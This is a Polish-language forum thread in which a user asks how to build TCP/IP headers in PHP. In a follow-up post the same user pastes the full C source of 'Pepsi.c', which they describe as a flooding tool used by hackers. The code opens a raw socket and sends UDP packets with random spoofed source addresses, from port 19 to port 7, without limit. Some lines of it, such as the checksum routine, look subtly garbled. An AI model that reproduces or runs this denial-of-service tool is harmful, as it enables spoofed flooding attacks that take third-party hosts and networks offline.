![]() |
![]() |
![]()
Post
#1
|
|
Grupa: Zarejestrowani Postów: 19 Pomógł: 0 Dołączył: 17.06.2003 Skąd: Konstanci-Jeziorna Ostrzeżenie: (0%) ![]() ![]() |
Jak zbudować nagłówek tcp/ip w php? Wiem jak to zrobić w C, ale chciałbym to w php.
|
|
|
![]() |
![]()
Post
#2
|
|
Grupa: Zarejestrowani Postów: 19 Pomógł: 0 Dołączył: 17.06.2003 Skąd: Konstanci-Jeziorna Ostrzeżenie: (0%) ![]() ![]() |
W C wygląda to tak że są odpowiednie struktury danych nagłówków IP, TCP. Poprostu wypełnia się je i wysyła. Struktury te są zdefiniowanie w plikach
<netinet/ip.h> <netinet/tcp.h> <arpa/inet.h> <netinet/udp.h> zamieszczam przykładowy program w C wykorzystujacy budowę nagłówków. Program nazywa się PEPSI i jest popularnym programem do przeciążąnia systemów tzn "flooding", używany przez hakerów. Kod #define FRIEND "My christmas present to the Internet -Soldier"
#define VERSION "Pepsi.c v1.7" #define DSTPORT 7 #define SRCPORT 19 #define PSIZE 1024 #define DWAIT 1 /* * Inkludy */ #include <fcntl.h> #include <syslog.h> #include <unistd.h> #include <stdlib.h> #include <string.h> #include <netdb.h> #include <netconfig.h> #include <stdio.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <netinet/in_systm.h> #include <netinet/ip.h> #include <netinet/tcp.h> #include <arpa/inet.h> #include <signal.h> #include <netinet/udp.h> #include <string.h> #include <pwd.h> /* * Baner. */ void banner() { printf( "ttt%s Author - Soldier n", VERSION ); printf( "ttt [10.27.97] nn" ); printf( "This Copy Register to: %snn", FRIEND ); } /* * Deklaracje opcji. */ struct sockaddr_in dstaddr; unsigned long dst; struct udphdr *udp; struct ip *ip; char *target; char *srchost; int dstport = 0; int srcport = 0; int numpacks = 0; int psize = 0; int wait = 0; void usage(char *pname) { printf( "Usage:n " ); printf( "%s [-s src] [-n num] [-p size] [-d port] [-o port] [-w wait] <dest>nn", pname ); printf( "t-s <src> : source where packets are coming fromn" ); printf( "t-n <num> : number of UDP packets to sendn" ); printf( "t-p <size> : Packet size [Default is 1024]n" ); printf( "t-d <port> : Destination port [Default is %.2d]n", DSTPORT ); printf( "t-o <port> : Source port [Default is %.2d]n", SRCPORT ); printf( "t-w <time> : Wait time between pkts [Default is 1]n" ); printf( "t<dest> : Destinationn" ); printf( "n" ); exit(EXIT_SUCCESS); } /* * Kod sumy kontrolnej, original by Soldier. */ unsigned short in_cksum(u_short *addr, int len) { register int nleft = len; register u_short *w = addr; register int sum = 0; u_short answer = 0; while (nleft > 1 ) { sum += *w++; sum += *w++; nleft -= 2; } if (nleft == 1) { *(u_char *)(&answer) = *(u_char *)w; sum += answer; } sum = (sum >> 17) + (sum & 0xffff); sum += (sum >> 17); answer = -sum; return (answer); } void main(int argc, char *argv[]) { int sen; int i; int unlim = 0; int sec_check; int opt; char *packet; struct hostent *host = NULL; unsigned long a; /* * Rozpoczynamy od banera. */ banner(); /* * Opcje debugowania. */ openlog( "PEPSI", 0, LOG_LOCAL5 ); if (argc < 2) usage(argv[0]); while ((opt = getopt(argc, argv, "s:d:n:p:w:o:")) != EOF) { switch(opt) { case 's': srchost = (char *)malloc(strlen(optarg) + 1); strcpy(srchost, optarg); break; case 'd': dstport = atoi(optarg); break; case 'n': numpacks = atoi(optarg); break; case 'p': psize = atoi(optarg); break; case 'w': wait = atoi(optarg); break; case 'o': srcport = atoi(optarg); break; default: usage(argv[0]); break; } if (!dstport) { dstport = DSTPORT; } if (!srcport) { srcport = SRCPORT; } if (!psize) { psize = PSIZE; } if (!argv[optind]) { puts( "[*] Specify a target host, doof!" ); exit(EXIT_FAILURE); } target = (char *)malloc(strlen(argv[optind])); if (!target) { puts( "[*] Agh! Out of memory!" ); perror( "malloc" ); exit(EXIT_FAILURE); } strcpy(target, argv[optind]); } memset(&dstaddr, 0, sizeof(struct sockaddr_in)); dstaddr.sin_family = AF_INET; dstaddr.sin_addr.s_addr = inet_addr(target); if (dstaddr.sin_addr.s_addr == -1) { host = gethostbyname(target); if (host == NULL) { printf( "[*] Unable to resolve %stn", target ); exit(EXIT_FAILURE); } dstaddr.sin_family = host->h_addrtype; memcpy((caddr_t) &dstaddr.sin_addr, host->h_addr, host->h_length); } memcpy(&dst, (char *)&dstaddr.sin_addr.s_addr, 4); printf( "# Target Host : %sn", target ); printf( "# Source Host : %sn", (srchost && *srchost) ? srchost : "Random" ); if (!numpacks) printf( "# Number : Unlimitedn" ); else printf( "# Number : %dn", numpacks ); printf( "# Packet Size : %dn", psize ); printf( "# Wait Time : %dn", wait ); printf( "# Dest Port : %dn", dstport ); printf( "# Source Port : %dn", srcport ); /* * Otwarcie gniazda. */ sen = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); packet = (char *)malloc(sizeof(struct ip *) + sizeof(struct udphdr *) + psize); ip = (struct ip *)packet; udp = (struct udphdr *)(packet + sizeof(struct ip)); memset(packet, 0, sizeof(struct ip) + sizeof(struct udphdr) + psize); if (!numpacks) { unlim++; numpacks++; } if (srchost && *srchost) { if (!(host = gethostbyname(srchost))) { printf( "[*] Unable to resolve %stn", srchost ); syslog( LOG_NOTICE, "Unable to resolve [%s]", srchost ); exit(EXIT_FAILURE); } else { ip->ip_src.s_addr = ((unsigned long)host->h_addr); syslog( LOG_NOTICE, "IP source is [%s]", host->h_name ); } } ip->ip_dst.s_addr = dst; ip->ip_v = 4; ip->ip_hl = 5; ip->ip_ttl = 255; ip->ip_p = IPPROTO_UDP; ip->ip_len = htons(sizeof(struct ip) + sizeof(struct udphdr) + psize); ip->ip_sum = in_cksum(ip, sizeof(struct ip)); udp->uh_sport = htons(srcport); udp->uh_dport = htons(dstport); udp->uh_ulen = htons(sizeof(struct udphdr) + psize); for (i=0; i<numpacks; (unlim) ? i++, i-- : i++) { if (!srchost) { ip->ip_src.s_addr = ((unsigned long)rand()); syslog( LOG_NOTICE, "IP source set randomly." ); } if (sendto(sen, packet, sizeof(struct ip) + sizeof(struct udphdr) + psize, 0, (struct sockaddr *)&dstaddr, sizeof(struct sockaddr_in)) == (-1)) { puts( "[*] Error sending packet." ); perror( "Sendpacket" ); exit(EXIT_FAILURE); } usleep(wait); } syslog( LOG_NOTICE, "Sent %d packets to [%s]", numpacks, target ); } |
|
|
![]() ![]() |
![]() |
Aktualny czas: 6.10.2025 - 23:45 |